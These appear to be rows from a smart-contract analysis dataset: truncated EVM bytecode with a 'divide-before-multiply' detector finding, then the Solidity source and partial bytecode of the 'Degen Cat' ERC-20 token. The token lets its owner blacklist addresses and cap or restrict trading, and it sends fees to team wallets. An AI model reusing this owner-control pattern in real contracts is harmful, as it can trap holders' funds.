60ff1660ff16146117f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f2169734f70656e5769746864726177000000000000000000000000000000000081525060200191505060405180910390fd5b61180a61180533611630565b610e4c565b565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118a45780601f10611879576101008083540402835291602001916118a4565b820191906000526020600020905b81548152906001019060200180831161188757829003601f168201915b5050505050905090565b600760149054906101000a900460ff1681565b60006119846118ce6123cd565b8461197f8560405180606001604052806025815260200161302460259139600160006118f86123cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128829092919063ffffffff16565b6123d5565b6001905092915050565b60085481565b60006119a86119a16123cd565b84846125cc565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b73061c266caf366e73cea4bdc9dc22392fb81115f281565b6001600760149054906101000a900460ff1660ff1614611b7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f2169734f70656e4465706f73697400000000000000000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611c1e57600080fd5b505afa158015611c32573d6000803e3d6000fd5b505050506040513d6020811015611c4857600080fd5b8101908080519060200190929190505050811115611cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f2173756666696369656e7420555344540000000000000000000000000000000081525060200191505060405180910390fd5b6000611d1064e8d4a51000611d02600854611cf46127108761294290919063ffffffff16565b6129c890919063ffffffff16565b61294290919063ffffffff16565b9050600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611db157600080fd5b505afa158015611dc5573d6000803e3d6000fd5b505050506040513d6020811015611ddb57600080fd5b8101908080519060200190929190505050811115611e61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f2173756666696369656e7420425400000000000000000000000000000000000081525060200191505060405180910390fd5b611eb0333084600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612a12909392919063ffffffff16565b611efd3382600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166122fc9092919063ffffffff16565b5050565b600760159054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760156101000a81548160ff021916908360ff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b612105600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828473ffffffffffffffffffffffffffffffffffffffff166122fc9092919063ffffffff16565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6001600760149054906101000a900460ff1660ff1614612218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f2169734f70656e4465706f73697400000000000000000000000000000000000081525060200191505060405180910390fd5b6122fa600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122ba57600080fd5b505afa1580156122ce573d6000803e3d6000fd5b505050506040513d60208110156122e457600080fd5b8101908080519060200190929190505050611af7565b565b6123c8838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612ba0565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561245b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612fd66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f206022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612652576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612fb16025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612efd6023913960400191505060405180910390fd5b61274381604051806060016040528060268152602001612f42602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128829092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127d6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b1890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061292f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128f45780820151818401526020810190506128d9565b50505050905090810190601f1680156129215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083141561295557600090506129c2565b600082840290508284828161296657fe5b04146129bd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f686021913960400191505060405180910390fd5b809150505b92915050565b6000612a0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612deb565b905092915050565b612b12848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612ba0565b50505050565b600080828401905083811015612b96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612bbf8273ffffffffffffffffffffffffffffffffffffffff16612eb1565b612c31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612c805780518252602082019150602081019050602083039250612c5d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612ce2576040519150601f19603f3d011682016040523d82523d6000602084013e612ce7565b606091505b509150915081612d5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612de557808060200190516020811015612d7e57600080fd5b8101908080519060200190929190505050612de4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612ffa602a913960400191505060405180910390fd5b5b50505050565b60008083118290612e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e5c578082015181840152602081019050612e41565b50505050905090810190601f168015612e895780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612ea357fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015612ef35750808214155b9250505091905056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820a4bae13da8eadb859220303520d27b9e19ff9626ff32c0d6d77141eb43c87a6e64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 819 |
0xd8e0aeb37c717445b1a812472c4126599f5b4b4d | /*
Degen Cat
https://t.me/DegenCatERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DegenCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Degen Cat";
string private constant _symbol = "DCAT";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 9;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129c0565b610420565b005b34801561014d57600080fd5b5061015661054a565b6040516101639190612e79565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612980565b610587565b6040516101a09190612e5e565b60405180910390f35b3480156101b557600080fd5b506101be6105a5565b6040516101cb919061301b565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f6919061292d565b6105b6565b6040516102089190612e5e565b60405180910390f35b34801561021d57600080fd5b5061022661068f565b005b34801561023457600080fd5b5061023d610bec565b60405161024a9190613090565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a09565b610bf5565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612893565b610ca7565b005b3480156102b157600080fd5b506102ba610d97565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612893565b610e09565b6040516102f0919061301b565b60405180910390f35b34801561030557600080fd5b5061030e610e5a565b005b34801561031c57600080fd5b50610325610fad565b6040516103329190612d90565b60405180910390f35b34801561034757600080fd5b50610350610fd6565b60405161035d9190612e79565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612980565b611013565b60405161039a9190612e5e565b60405180910390f35b3480156103af57600080fd5b506103b8611031565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a63565b6110ab565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128ed565b6111f4565b604051610417919061301b565b60405180910390f35b61042861127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f7b565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d96133d8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e90613331565b9150506104b8565b5050565b60606040518060400160405280600981526020017f446567656e204361740000000000000000000000000000000000000000000000815250905090565b600061059b61059461127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105c384848461144e565b610684846105cf61127b565b61067f8560405180606001604052806028815260200161379760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063561127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61069761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90612f7b565b60405180910390fd5b600f60149054906101000a900460ff1615610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b90612ebb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561084a57600080fd5b505afa15801561085e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906128c0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c91906128c0565b6040518363ffffffff1660e01b8152600401610939929190612dab565b602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b91906128c0565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1430610e09565b600080610a1f610fad565b426040518863ffffffff1660e01b8152600401610a4196959493929190612dfd565b6060604051808303818588803b158015610a5a57600080fd5b505af1158015610a6e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a939190612a90565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b96929190612dd4565b602060405180830381600087803b158015610bb057600080fd5b505af1158015610bc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be89190612a36565b5050565b60006009905090565b610bfd61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190612f7b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610caf61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3390612f7b565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd861127b565b73ffffffffffffffffffffffffffffffffffffffff1614610df857600080fd5b6000479050610e0681611c71565b50565b6000610e53600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b610e6261127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690612f7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4443415400000000000000000000000000000000000000000000000000000000815250905090565b600061102761102061127b565b848461144e565b6001905092915050565b600c60009054906101000a90047